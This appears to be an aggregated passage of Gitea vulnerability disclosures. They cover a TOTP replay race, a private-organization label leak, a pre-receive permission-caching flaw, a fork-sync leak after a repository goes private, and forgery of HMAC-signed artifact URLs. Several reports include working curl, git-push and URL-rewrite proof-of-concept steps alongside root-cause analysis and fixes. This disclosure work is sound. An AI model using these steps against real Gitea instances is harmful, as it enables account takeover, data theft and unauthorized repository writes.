See how gitea compares to other vendors in security performance
Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.
Two SSRF vulnerabilities in Gitea migration/mirror (DNS rebinding + missing re-validation)
Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.
Summary
I'm reporting two related TOTP one-time-use defects in Gitea that survive the CVE-2021-45331 fix. The 2018 fix (PR #3878) introduced the TwoFactor.LastUsedPasscode field and added an in-memory inequality check on the web 2FA login path. That check works correctly in the single-request case, but it leaves two follow-up gaps:
1. A TOCTOU race on the web surfaces (Defect 1). The read-validate-check-save sequence against the twofactor row is not atomic. Two parallel submissions of the same passcode each load their own in-memory copy where LastUsedPasscode still holds the prior value; both pass the inequality check, both authenticate, and both then write the same new value back. Net effect: the same OTP redeems for two independent logged-in sessions.
2. No LastUsedPasscode check at all on the Basic-Auth API surface (Defect 2). services/auth/basic.go calls twofa.ValidateTOTP(...) for X-Gitea-OTP without ever reading or writing LastUsedPasscode. The same six-digit code is replayable for the full totp.Validate acceptance window (~60–90 s with the default Skew=1). This is a clean RFC 6238 §5.2 violation independent of timing, shaped identically to the pre-CVE-2021-45331 behaviour but scoped to the API / Git-over-HTTPS basic-auth path instead of the web form.
Both defects post-date the 2018 fix; neither is referenced in any published Gitea advisory I could find. I'm filing this as a follow-up to CVE-2021-45331, not a duplicate.
Vulnerable code
Defect 1 — TOCTOU race on web 2FA login
routers/web/auth/2fa.go:55-88:
go 54 id := idSess.(int64) 55 twofa, err := auth.GetTwoFactorByUID(ctx, id) // (A) read row 56 ... 62 ok, err := twofa.ValidateTOTP(form.Passcode) // (B) pure-function RFC 6238 check ... 68 if ok && twofa.LastUsedPasscode != form.Passcode { // (C) check against in-memory copy ... 84 twofa.LastUsedPasscode = form.Passcode // (D) mutate in-memory 85 if err = auth.UpdateTwoFactor(ctx, twofa); err != nil {// (E) UPDATE … AllCols where id=?
Step (E) is plain db.GetEngine(ctx).ID(t.ID).AllCols().Update(t) (models/auth/twofactor.go:128-131) — no row lock, no WHERE lastusedpasscode = <previous> predicate, and no DB uniqueness on (uid, lastusedpasscode). The model definition at models/auth/twofactor.go:48-57 shows LastUsedPasscode string is a plain column — no constraint, no version field.
Defect 1 — same shape, password-reset 2FA re-auth
routers/web/auth/password.go:179-196 shows the identical pattern in the password-reset flow:
go 179 passcode := ctx.FormString("passcode") 180 ok, err := twofa.ValidateTOTP(passcode) ... 185 if !ok || twofa.LastUsedPasscode == passcode { // same check-against-in-memory pattern ... 192 twofa.LastUsedPasscode = passcode 193 if err = auth.UpdateTwoFactor(ctx, twofa); err != nil {
Same shape, same race window.
Defect 2 — Basic-Auth API / Git-over-HTTPS (stateless replay — no check at all)
services/auth/basic.go:170-185:
go func validateTOTP(req http.Request, u usermodel.User) error { twofa, err := authmodel.GetTwoFactorByUID(req.Context(), u.ID) ... if ok, err := twofa.ValidateTOTP(req.Header.Get("X-Gitea-OTP")); err != nil { // :179 return err } else if !ok { return util.NewInvalidArgumentErrorf("invalid provided OTP") } return nil }
LastUsedPasscode is neither read nor written on this path. The same six-digit code in X-Gitea-OTP succeeds for the full totp.Validate acceptance window on every request.
Why the existing failed-login counter doesn't catch either defect
Gitea's loginAttempts counter increments on failed sign-ins. A successful replay is a success — the counter is never touched, and two parallel successes produce two access tokens with no anomaly logged at the auth layer.
Race-window analysis (Defect 1)
Inside TwoFactorPost, the critical region between (A) GetTwoFactorByUID and (E) UpdateTwoFactor covers:
1. one DB SELECT round-trip, 2. base64-decode + AES-decrypt of the secret (models/auth/twofactor.go:108-118), 3. totp.Validate (HMAC-SHA1 over the secret + time-step), 4. usermodel.GetUserByID (a second SELECT), 5. optional linkAccountFromContext / OpenID link branch, 6. the assignment + UPDATE.
On a non-CPU-bound deployment this window is a few milliseconds on the fast path, tens of ms when linkAccount / OpenID branches are taken. An attacker who already holds both factors and can submit two POST /user/twofactor requests in parallel (HTTP/2 multiplexing, or two backgrounded curls) hits the race reliably — both goroutines enter step (C) with the same stale LastUsedPasscode, both reach step (D), both write the new value back. The two responses each set the user's session and KeyUserHasTwoFactorAuth = true.
The same window exists on the password-reset flow (routers/web/auth/password.go:179-193).
Defect 2 (basic-auth) is a different shape: no race needed. Every request that supplies the correct passcode within totp.Validate's skew window succeeds, indefinitely, until the time-step rolls.
Reachable HTTP routes
| Surface | Route | Defect | |---------|-------|--------| | Web 2FA login | POST /user/twofactor (TwoFactorPost) | 1 — TOCTOU race | | Password-reset 2FA re-auth | POST /user/password/reset (ResetPasswdPost) when twofa is set | 1 — TOCTOU race | | Basic-Auth API | every API endpoint that accepts Basic auth with X-Gitea-OTP header (e.g. /api/v1/user, /api/v1/users/{username}/tokens) | 2 — stateless replay | | Git-over-HTTPS push/pull | Basic-auth flow, same X-Gitea-OTP route into services/auth/basic.go:validateTOTP | 2 — stateless replay |
Proof of concept
Pre-conditions: attacker has the victim's password (credential dump, phish, separate vuln) and one live TOTP value within the RFC 6238 window (AiTM relay such as Evilginx2, malicious browser extension, infostealer log, shoulder-surf). Network reach to the Gitea HTTP listener.
Defect 1 — Web 2FA race (parallel curl)
bash Step 1 — start a 2FA-pending session (password phase). curl -c jar.txt -b jar.txt -d 'username=alice&password=<known>' \ https://gitea.example.com/user/login
Step 2 — fire two identical POSTs to /user/twofactor with the captured passcode. PASS=654321 ( curl -sS -c jar1.txt -b jar.txt -X POST \ -d "passcode=${PASS}" https://gitea.example.com/user/twofactor & ) ( curl -sS -c jar2.txt -b jar.txt -X POST \ -d "passcode=${PASS}" https://gitea.example.com/user/twofactor & ) wait
Step 3 — both cookie jars now hold authenticated sessions for Alice. curl -b jar1.txt https://gitea.example.com/user/settings # 200 curl -b jar2.txt https://gitea.example.com/user/settings # 200
Repeated trials succeed often enough to be exploitable; a kit firing N=5 parallel attempts hits the race on virtually every iteration. Note that the legitimate browser tab counts as one of the racers — the attacker's request only needs to arrive between the victim's (A) and the victim's (E).
Defect 2 — Basic-Auth API replay (no race needed)
bash Attacker captured Alice's password + one live OTP (654321). Within the RFC 6238 window (~60–90 s): curl -u "alice:<known-password>" \ -H "X-Gitea-OTP: 654321" \ https://gitea.example.com/api/v1/user → 200 OK. Repeat as many times as the time-step allows.
Each call succeeds. An attacker can mint a personal access token via POST /api/v1/users/{username}/tokens inside that window for long-lived access that outlives the captured OTP.
Impact
- Defect 1 (Web TOCTOU). Narrow exploit window but completely deterministic on parallel submission. The victim's own legitimate login is itself the trigger — no second observation of the OTP is needed if the attacker can race the victim's submission. Net effect: two authenticated sessions for one OTP, defeating RFC 6238 §5.2 in the multi-session case. - Defect 2 (Basic-Auth stateless replay). The more serious of the two. Any captured OTP value remains valid on the API / git-clone basic-auth surface for the full totp.Validate window. An attacker who AiTM-relays one login can carve out 60–90 s of unattended API access during which they can mint a personal access token and persist past the OTP window. This surface specifically attracts attackers because (a) it is non-interactive (a script can hammer it), and (b) PAT minting via /api/v1/users/{username}/tokens does not require a second 2FA prompt once basic-auth + OTP have succeeded. - Successful-replay invisibility. Gitea's failed-login counter increments on FailedLoginException; a successful replay never throws. The audit log records two successful 2FA authentications for the same principal at near-identical timestamps — most SIEM rules will not flag this.
Conditions for exploit
| Required | Detail | |----------|--------| | Network reach to Gitea HTTP listener | Trivially available | | Valid victim password | Credential dump / phishing relay / separate vuln | | One captured OTP value within ~90 s | AiTM, infostealer log, shoulder-surf, MITM, malicious extension | | Ability to fire two parallel HTTP requests | Trivial (curl -P 2, xargs -P 2, HTTP/2 multiplexing) — Defect 1 only |
No special role / permission required on Gitea. Both defects are exploitable from any unauthenticated network position that can reach the listener.
Suggested remediation
Two distinct fixes are needed; option (c) collapses both into one place and is the recommended path.
(a) Race fix — compare-and-swap on UPDATE (Defect 1):
go // models/auth/twofactor.go func UpdateTwoFactorCAS(ctx context.Context, t TwoFactor, prevPasscode string) (bool, error) { n, err := db.GetEngine(ctx).ID(t.ID). Where("lastusedpasscode = ?", prevPasscode). AllCols().Update(t) return n == 1, err }
Each handler captures prev := twofa.LastUsedPasscode before mutating, calls UpdateTwoFactorCAS(ctx, twofa, prev), and rejects the request if n != 1. Fixes both web sites with no extra lock contention. A row-level lock (SELECT … FOR UPDATE inside a db.WithTx) is an equivalent surgical option. Equivalent atomicity can also be obtained by a unique index on (twofaid, lastusedpasscode) so a duplicate UPDATE collides at the DB layer.
(b) Basic-Auth fix (Defect 2):
Wrap the twofa.ValidateTOTP(...) call at services/auth/basic.go:179 in the same inequality check + update pattern used in routers/web/auth/2fa.go:68,84-85, ideally via the CAS helper above so the basic-auth path can't reintroduce the race either.
(c) Preferred — store the accepted time-step counter, route every call site through one consume helper:
Replace LastUsedPasscode string with LastTotpStep int64. Derive the matching step inside TwoFactor.ValidateTOTP (skew-aware) and CAS on the step value:
go func (t TwoFactor) ValidateAndConsumeTOTP(ctx context.Context, passcode string) (bool, error) { step, ok, err := validateAndReturnStep(passcode, t.Secret) // skew-aware if err != nil || !ok { return false, err }
n, err := db.GetEngine(ctx).Table("twofactor"). Where("id = ? AND lasttotpstep < ?", t.ID, step). Cols("lasttotpstep"). Update(map[string]any{"lasttotpstep": step}) if err != nil || n == 0 { return false, err } // already consumed — replay refused t.LastTotpStep = step return true, nil }
All three call sites (routers/web/auth/2fa.go, routers/web/auth/password.go, services/auth/basic.go) then go through this single function and cannot accidentally skip the consume step. Same fix shape as django-otp (lastt) and Authentik (authentik/stages/authenticatortotp/models.py:184). Recommended option because it makes the defect impossible to reintroduce at a future call site.
A schema migration is required for (c); (a)+(b) is the surgical minimum.
References
- RFC 6238 §5.2 — TOTP one-time use: https://datatracker.ietf.org/doc/html/rfc6238#section-5.2 - CWE-294 — Authentication Bypass by Capture-replay: https://cwe.mitre.org/data/definitions/294.html - CWE-367 — Time-of-check Time-of-use (TOCTOU) Race Condition: https://cwe.mitre.org/data/definitions/367.html - Original Gitea fix this report builds on — CVE-2021-45331 / PR #3878 (introduced LastUsedPasscode): https://github.com/go-gitea/gitea/pull/3878
Summary
Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.
A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.
The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.
Details
The following endpoints are affected:
GET /api/v1/orgs/{org}/labels GET /api/v1/orgs/{org}/labels/{id}
During testing, a private organization was created and a label was added to that organization.
Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.
However, the same user was still able to retrieve organization labels through the endpoints listed above.
For comparison, other organization-scoped endpoints such as:
GET /api/v1/orgs/{org}/teams GET /api/v1/orgs/{org}/hooks GET /api/v1/orgs/{org}/actions/secrets
correctly denied access to unauthorized users.
The label endpoints returned the full Label object, including fields such as:
id name description color url
Write operations were tested separately and remained protected by authorization checks.
PoC
Setup
Create a private organization:
http POST /api/v1/orgs Authorization: token <ownertoken>
{ "username": "target-org", "visibility": "private" }
Create a label:
http POST /api/v1/orgs/target-org/labels Authorization: token <ownertoken>
{ "name": "internal-label", "color": "#aabbcc", "description": "private organization label" }
Verify that the organization is not accessible to a non-member:
http GET /api/v1/orgs/target-org Authorization: token <nonmembertoken>
Response:
http HTTP/1.1 404 Not Found
Retrieve all labels
Request:
http GET /api/v1/orgs/target-org/labels Authorization: token <nonmembertoken>
Observed response:
http HTTP/1.1 200 OK
The response contains labels belonging to the private organization.
Retrieve a specific label
Request:
http GET /api/v1/orgs/target-org/labels/1 Authorization: token <nonmembertoken>
Observed response:
http HTTP/1.1 200 OK
The full Label object is returned.
Verify write protection
Request:
http PATCH /api/v1/orgs/target-org/labels/1 Authorization: token <nonmembertoken>
Response:
http HTTP/1.1 403 Forbidden
PoC Details https://anonymous.4open.science/r/GiteaPoC-EC93/2pocprivateorglabelsleak
Impact
Users who are not authorized to access a private organization can obtain label metadata associated with that organization.
Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.
The issue affects confidentiality only. No integrity or availability impact was observed.
Vulnerability Header
| Field | Value | | ------------------- | ----------------------------------------------------------------------------------- | | Vulnerability Title | Cached Per-Branch Permission Check in Pre-Receive Hook Allows Full Repository Write | | Severity Rating | High | | Bug Category | Authorization Bypass | | Location | routers/private/hookprereceive.go:55-64, CanWriteCode() | | Affected Versions | 1.25.5 |
Executive Summary
The pre-receive hook in Gitea evaluates the CanMaintainerWriteToBranch permission only once per git push session and caches the result for all subsequent refs in the same batch. An attacker who has a legitimate per-branch write grant (e.g., via an open pull request with "Allow edits from maintainers" enabled) can batch-push that branch together with any other ref. The cached true from the first ref is reused for all following refs, allowing the attacker to overwrite protected branches (including main), create arbitrary new branches, and push tags. This effectively escalates a single-branch maintainer-edit grant into full repository write access.
Root Cause Analysis
Technical Description
When processing a multi-ref git push, the HookPreReceive handler at hookprereceive.go:107 iterates over all incoming refs. For each branch ref, preReceiveBranch (:140) updates ctx.branchName to the current branch (:142) and then calls AssertCanWriteCode() (:144).
CanWriteCode() (:55-64) checks whether the user can write to the repository. On the first call, it evaluates issuesmodel.CanMaintainerWriteToBranch(ctx, userPerm, ctx.branchName, user) and stores the result in a boolean flag (canWriteCode) with a guard (checkedCanWriteCode). On all subsequent calls within the same batch, it returns the cached boolean without re-evaluating against the now-different ctx.branchName.
This means the permission check is branch-specific in its inputs but session-scoped in its caching — a classic check-vs-use divergence.
A second contributing factor is the AGit-flow relaxation at routers/web/repo/githttp.go:190-192 (and routers/private/serv.go:337-338), which downgrades the outer receive-pack access gate from Write to Read when git.DefaultFeatures().SupportProcReceive is true (git ≥ 2.29). This allows a user with only Read access on a repository to initiate a receive-pack session, deferring all authorization to the pre-receive hook — which contains the caching bug described above.
First Faulty Condition
| File | routers/private/hookprereceive.go | | --------- | ------------------------------------- | | Line | 55-64 | | Condition | CanWriteCode() evaluates the branch-specific CanMaintainerWriteToBranch check only on the first invocation and caches the result, reusing it for all subsequent refs in the batch regardless of which branch they target. |
Trace Analysis
The following is the path from the attacker's git push to the authorization fault:
1. POST /{owner}/{repo}.git/git-receive-pack → routers/web/repo/githttp.go:437 (ServiceReceivePack) → httpBase() (:60) - Access gate is downgraded from Write to Read at :190-192 due to AGit-flow support.
2. git receive-pack invokes the pre-receive hook → cmd/hook.go:184 (runHookPreReceive) → modules/private/hook.go:96 (HookPreReceive) → internal API → routers/private/hookprereceive.go:107 (HookPreReceive)
3. Loop at :117 iterates over all refs in the batch. For each branch ref, preReceiveBranch (:140) sets ctx.branchName at :142.
4. Fault: AssertCanWriteCode() (:144) → CanWriteCode() (:55-64). - First ref (feature-branch): checkedCanWriteCode is false → evaluates CanMaintainerWriteToBranch(ctx, userPerm, "feature-branch", user) → returns true (legitimate grant) → caches result. - Second ref (main): checkedCanWriteCode is already true → returns cached true without re-evaluating against "main".
5. Hook returns 200 → git receive-pack accepts all refs → main is overwritten in the victim's repository.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network | | --------------------------- | ----------------------------------------------------------------------------------- | | Authentication required | Low | | User interaction required | Required. Victim must enable "Allow edits from maintainers" on their PR | | Reachable in default config | Yes | | Entry point | git push over smart-HTTP or SSH with multiple refs in a single operation |
The attacker gains full write access to the victim's repository — equivalent to having push permissions on all refs. By controlling the order of refs in the batch (e.g., naming the granted branch so it sorts first), the attacker reliably ensures the legitimate ref is evaluated before the target. This is not a race condition; it is deterministic.
Reproduction Steps
Environment The issue was reproduced using Gitea v1.25.5 on Ubuntu 24.04.4 LTS.
Prerequisites: a Gitea instance with two users, attacker and victim.
bash 1. Attacker creates a repository (e.g., a popular open-source project) curl -X POST "http://attacker:pw@<gitea>/api/v1/user/repos" \ -H "Content-Type: application/json" \ -d '{"name": "project", "autoinit": true}'
2. Victim forks attacker's repository (standard contributor workflow) curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/forks" \ -H "Content-Type: application/json" \ -d '{}'
3. Victim creates a feature branch on their fork and commits a change curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/branches" \ -H "Content-Type: application/json" \ -d '{"newbranchname": "feature-branch", "oldbranchname": "main"}'
curl -X POST "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/contribution.txt" \ -H "Content-Type: application/json" \ -d '{"message": "Add contribution", "content": "'$(echo -n "victim contribution" | base64)'", "branch": "feature-branch"}'
4. Victim opens a PR from their feature branch into attacker/project with "Allow edits from maintainers" enabled curl -X POST "http://victim:pw@<gitea>/api/v1/repos/attacker/project/pulls" \ -H "Content-Type: application/json" \ -d '{"title": "Feature PR", "head": "victim:feature-branch", "base": "main", "allowmaintaineredit": true}'
At this point, the attacker (as maintainer of the base repo attacker/project) has a per-branch write grant on the victim's fork, scoped to the feature-branch branch only.
Attack
The attacker works from their own repo (attacker/project) bash 5. Attacker clones their own repo git clone http://attacker:pw@<gitea>/attacker/project.git && cd project
6. Attacker fetches the victim's PR branch git fetch -u http://<gitea>/victim/project feature-branch:victim-feature-branch git checkout victim-feature-branch
7. Attacker adds a commit to the PR branch echo "legitimate change" > feature.txt && git add . && git commit -m "PR update"
8. Attacker also prepares a malicious commit on main git checkout main echo "MALICIOUS CONTENT" > PWNED && git add . && git commit -m "pwned"
9. Attacker pushes both refs to the victim's fork in a single operation — this is the exploit git push http://attacker:pw@<gitea>/victim/project.git victim-feature-branch:feature-branch main:main
10. The change on both refs is visible regardless of PR status
Expected result: main should be rejected ("User permission denied for writing").
Actual result: Both refs are accepted. victim/project:main now contains the attacker's malicious commit.
bash Verify: victim checks their fork's main branch curl "http://victim:pw@<gitea>/api/v1/repos/victim/project/contents/PWNED?ref=main" Returns attacker's "MALICIOUS CONTENT" — main has been overwritten
The same technique also works for pushing arbitrary tags (refs/tags/) and creating new branches.
Recommended Fix
Remove the caching in CanWriteCode() — the CanMaintainerWriteToBranch check must be evaluated for every ref in the batch, not cached after the first call. The checkedCanWriteCode / canWriteCode fields on preReceiveContext and the guard in CanWriteCode() at hookprereceive.go:55-64 should be removed, so the permission is evaluated fresh each time preReceiveBranch or preReceiveTag calls it. loadPusherAndPermission() already has its own caching (loadedPusher), so the per-call cost is limited to the CanMaintainerWriteToBranch query.
See diff.patch for the proposed fix.
Patch provenance: AI-generated, human-reviewed.
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Summary
The POST /api/v1/repos/{owner}/{repo}/merge-upstream endpoint continues to synchronize commits from a parent repository after the parent repository has been changed from public to private.
A fork created while the parent repository was public can still receive commits made after the parent repository becomes private. As a result, content added during the private period becomes available through the fork repository after synchronization.
Details
Gitea provides the merge-upstream API to synchronize a fork with its parent repository.
A typical workflow is:
1. A repository is public. 2. Another user creates a fork. 3. The fork owner uses merge-upstream to receive updates from the parent repository.
However, if the parent repository is later changed from public to private, the synchronization endpoint continues to import new commits from the parent repository into the fork.
In testing on Gitea 1.26.2, a fork owner who can no longer directly access the parent repository is still able to synchronize newly created commits from the parent repository into the fork by calling merge-upstream.
As a result, commits created after the visibility change can be propagated into the fork through the normal fork synchronization workflow.
PoC
Proof-of-Concept Code
https://anonymous.4open.science/r/GiteaPoC-EC93/4pocmergeupstream
PoC Details
1. User alice creates a public repository alice/P. 2. User bob forks the repository, creating bob/P. 3. alice changes alice/P from public to private. 4. Verify that bob can no longer directly access the parent repository:
http GET /api/v1/repos/alice/P
Response:
http 404 Not Found
http GET /api/v1/repos/alice/P/contents/README.md
Response:
http 404 Not Found
5. While the repository is private, alice commits a new file:
text secret.txt
6. Verify that bob cannot directly access the new file from the parent repository:
http GET /api/v1/repos/alice/P/contents/secret.txt
Response:
http 404 Not Found
7. bob synchronizes the fork:
http POST /api/v1/repos/bob/P/merge-upstream
Response:
http 200 OK
8. The newly added file is now available through the fork repository:
http GET /api/v1/repos/bob/P/contents/secret.txt
Response:
http 200 OK
The attached PoC reproduces the behavior end-to-end.
As a control test, attempting to access the private-period commit directly through the fork's Git API before synchronization fails:
http GET /api/v1/repos/bob/P/git/commits/<private-period-commit-sha>
Response:
http 404 Not Found
This indicates that the commit becomes available in the fork only after the merge-upstream operation synchronizes it from the parent repository.
Impact
A fork created while a repository is public can continue receiving updates from the parent repository after the parent repository is changed to private.
Consequently, content committed after the visibility change may become available through fork synchronization even when the fork owner can no longer directly access the parent repository.
The impact is limited to content that is synchronized from the parent repository into the affected fork. The issue does not allow modification of the parent repository or access to repositories that were never forked.
Summary
Gitea Actions Artifacts V4 signed upload/download URLs can be rewritten to access a different running task and repository context while preserving the original HMAC signature. An attacker with permission to run a Gitea Actions job can turn a signed URL for an attacker-controlled artifact into a URL that reads artifacts from another task context, or writes attacker-controlled data into another task's artifact upload staging context, including in a private repository.
This is one vulnerability with two exploit paths:
- DownloadArtifact: cross-task/cross-repository artifact read, giving C:H. - UploadArtifact: cross-task artifact staging write and metadata mutation, giving I:H.
Details
The root cause is that the V4 artifact signed URL signature is built from raw concatenated fields without delimiters or length-prefixing:
go func (r artifactV4Routes) buildSignature(endpoint, expires, artifactName string, taskID, artifactID int64) []byte { mac := hmac.New(sha256.New, setting.GetGeneralTokenSigningSecret()) mac.Write([]byte(endpoint)) mac.Write([]byte(expires)) mac.Write([]byte(artifactName)) , = fmt.Fprint(mac, taskID) , = fmt.Fprint(mac, artifactID) return mac.Sum(nil) }
Affected code: routers/api/actions/artifactsv4.go:164-171.
Because artifactName, taskID, and artifactID are concatenated without boundaries, two different URL tuples can produce the same HMAC input. For example:
text signed tuple: artifactName = "artifact-795-153" taskID = 48 artifactID = <attacker artifact id>
forged tuple: artifactName = "artifact-795-1" taskID = 53 artifactID = 48<attacker artifact id>
The final HMAC input suffix is identical:
text artifact-795-15348<attacker artifact id>
The attacker does not need to know the target artifact's database artifactID. The forged URL's artifactID only needs to carry digits that preserve the original HMAC input. After verification, the actual target artifact is looked up by target task/run/attempt and artifactName, not by the signed artifactID.
The signed URL handlers are unauthenticated and use ArtifactV4Contexter() only:
go m.Group("", func() { m.Put("UploadArtifact", r.uploadArtifact) m.Get("DownloadArtifact", r.downloadArtifact) }, ArtifactV4Contexter())
Affected code: routers/api/actions/artifactsv4.go:156-159.
After verifying the HMAC, verifySignature() trusts the URL-controlled taskID, loads that task, checks that it is running, and returns the URL-controlled artifactName. It parses artifactID for the HMAC, but does not load or bind the artifact by that signed artifact ID:
go task, err := actionsmodel.GetTaskByID(ctx, taskID) ... if task.Status != actionsmodel.StatusRunning { ... } ... return task, artifactName, true
Affected code: routers/api/actions/artifactsv4.go:224-267.
The artifact lookup then uses the URL-selected task's run/attempt plus URL-selected artifact name:
go has, err := db.GetEngine(ctx).Where(builder.Eq{ "runid": runID, "runattemptid": runAttemptID, "artifactname": name, }, builder.Like{"contentencoding", "%/%"}).Get(&art)
Affected code: routers/api/actions/artifactsv4.go:270-278.
For download, the forged URL reaches downloadArtifact(), which verifies the signature, resolves the artifact by the forged task/run/name context, and serves it:
go task, artifactName, ok := r.verifySignature(ctx, "DownloadArtifact") ... artifact, err := r.getArtifactByName(ctx, task.Job.RunID, task.Job.RunAttemptID, artifactName) ... err = actions.DownloadArtifactV4ReadStorage(ctx.Base, artifact)
Affected code: routers/api/actions/artifactsv4.go:674-693.
For upload, the forged URL reaches uploadArtifact(), which verifies the signature, resolves the target artifact by the forged task/run/name context, appends attacker-controlled data, and updates target artifact metadata:
go task, artifactName, ok := r.verifySignature(ctx, "UploadArtifact") ... artifact, err := r.getArtifactByName(ctx, task.Job.RunID, task.Job.RunAttemptID, artifactName) ... uploadedLength, err := appendUploadChunkV3(r.fs, ctx, artifact, artifact.RunID, artifact.FileSize) ... artifact.FileCompressedSize += uploadedLength artifact.FileSize += uploadedLength ... actionsmodel.UpdateArtifactByID(ctx, artifact.ID, artifact)
Affected code: routers/api/actions/artifactsv4.go:382-422.
The strengthened dynamic PoC also opens the storage object created by the forged upload and verifies that the attacker-controlled bytes were written under the target run and target artifact ID staging path. This demonstrates an unauthorized write primitive into the target artifact upload context. The current PoC does not claim that a finalized artifact download already serves modified bytes; for the integrity path, the confirmed impact is cross-context staging write plus target artifact metadata mutation. In normal artifact upload flow, data in this staging area is what FinalizeArtifact later consumes.
V4 artifact creation also appears to omit the existing artifact-name validation:
go artifactName := req.Name ... artifact, err := actionsmodel.CreateArtifact(ctx, ctx.ActionTask, artifactName, fileName, retentionDays)
Affected code: routers/api/actions/artifactsv4.go:309-337.
This is a hardening issue, but it is not required for the demonstrated tuple-boundary collision. The crafted artifact names in the PoC use ordinary characters such as letters, digits, and hyphens that would normally be valid. The root cause is the ambiguous signed payload plus the post-verification lookup by URL-selected task/run/name context.
The target task must be running, but that is the normal validity window of these signed URLs. The exploit itself is a deterministic parameter rewrite against the active artifact URL flow, so AC:L is appropriate.
Even if the integrity impact is scored conservatively, the DownloadArtifact path independently demonstrates cross-repository private artifact disclosure.
Practical constraints:
- the target task must be in running state; - the target task ID and artifact name must be known or predictable; - for DownloadArtifact on newer branches, the target artifact must already be UploadConfirmed while the target task is still running. Older V4 implementations differ slightly in artifact lookup/status handling; the PoC validates the branch-specific condition used by each tested release; - the forged decimal artifactID must parse as int64; - the exact storage effect depends on the configured artifact storage backend. The local PoC uses the default non-Azure storage path. The root cause still exists before storage backend handling because the signed URL context is confused before upload/download dispatch. - the demonstrated exploit applies when Gitea issues its own V4 UploadArtifact/DownloadArtifact signed URLs. Storage backends or configurations that return direct backend URLs should be assessed separately, because they may bypass these Gitea signed URL handlers.
PoC
Tested against Gitea main checkout:
text 6a270662690439cabe8582e92c22b04d1f8a3fe9
Verified affected versions tested locally:
text main 6a27066269 reproduced dynamically v1.26.1 afdbd9b7c5 reproduced dynamically v1.25.5 f913d90ab6 reproduced dynamically v1.24.7 99053ce4fa reproduced dynamically v1.23.8 cccd54999a reproduced dynamically v1.22.6 8eefa1f6de reproduced dynamically with Go 1.22.12 test toolchain v1.21.11 V4 artifactsv4.go route not present in routers/api/actions; not affected by this V4 signed URL path as tested
Unless otherwise noted, the affected code snippets and line numbers above refer to the tested main checkout 6a27066269. Older release branches contain the same vulnerable signed URL construction and post-verification context confusion, but line numbers and artifact lookup details differ slightly between releases. For example, newer code includes runattemptid in the artifact lookup, while older V4 implementations look up by run/name/path/content-encoding. These differences do not affect the demonstrated HMAC boundary-collision primitive.
For main, v1.26.1, and v1.25.5, the PoC uses the private user2/repo2 fixture and demonstrates cross-repository artifact read. For v1.24.7, v1.23.8, and v1.22.6, the compatible test fixtures differ, so the portable PoC demonstrates the same signed URL rewrite across task/run contexts; v1.22.6 creates the target artifact inside the test because that release does not include the newer artifact fixture file.
The private-repository disclosure impact is demonstrated on releases with suitable private repository fixtures; on older fixtures, the portable test confirms the same cross-context signed URL rewrite primitive, which applies to private targets under the same running-task and known-identifier conditions. The PoC was adapted per release only to account for fixture and test-toolchain differences; the exploit primitive is the same signed URL tuple rewrite.
Local test environment:
- Gitea integration test environment. - Default local Actions artifact storage, not Azure direct upload. - Existing fixture tasks/artifacts from Gitea's test fixtures. - The dynamic PoC sets the target task status to running before exploiting the URL, matching the vulnerable signed URL requirement.
Run:
bash cd /home/kali/gitea/pocs GITEAREPO=/home/kali/gitea/repo GOTOOLCHAIN=auto go run ./actionsartifactv4crosstaskaccessdynamicpoc.go
The dynamic PoC writes a temporary integration test into the Gitea checkout, runs only that test, and removes the temporary test afterward.
The test uses:
text attacker task: 48 attacker run: 792 attacker job: 193 attacker repository id: 4
target task: 53 target run: 795 target job: 198 target repository: user2/repo2, repository id 2 target artifact: artifact-795-1 crafted attacker artifact: artifact-795-153
PoC flow:
1. Create an Actions authorization token for attacker task 48. 2. Verify the attacker token cannot request a signed URL for target run 795 through the authenticated Twirp API. 3. Create an attacker-controlled V4 artifact named artifact-795-153. 4. Upload and finalize that attacker artifact to obtain a legitimate signed URL. 5. Rewrite the signed download URL:
text artifactName=artifact-795-1 taskID=53 artifactID=48<attackerArtifactID>
6. Send the forged final GET without any token and receive the private target artifact from user2/repo2. 7. Rewrite the signed upload URL in the same way. 8. Send a forged PUT ...&comp=appendBlock with attacker-controlled data. 9. Confirm the target artifact metadata was changed by the forged upload. 10. Open the target run/artifact staging chunk from storage and confirm it contains the attacker-controlled bytes.
Observed output:
text source=/home/kali/gitea/repo ok code.gitea.io/gitea/tests/integration 9.069s reproduced: attacker task cannot request a target-run signed URL through the authenticated Twirp method reproduced: attacker-created V4 signed URL keeps its HMAC after taskID/artifactName/artifactID rewrite reproduced: unauthenticated final GET returns the URL-selected target artifact instead of attacker content reproduced: forged UploadArtifact URL writes attacker-controlled bytes into target run/artifact staging storage and changes target artifact metadata condition=attacker can run a Gitea Actions task and target task/artifact identifiers are known while target task is running cvsscandidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Example version test commands:
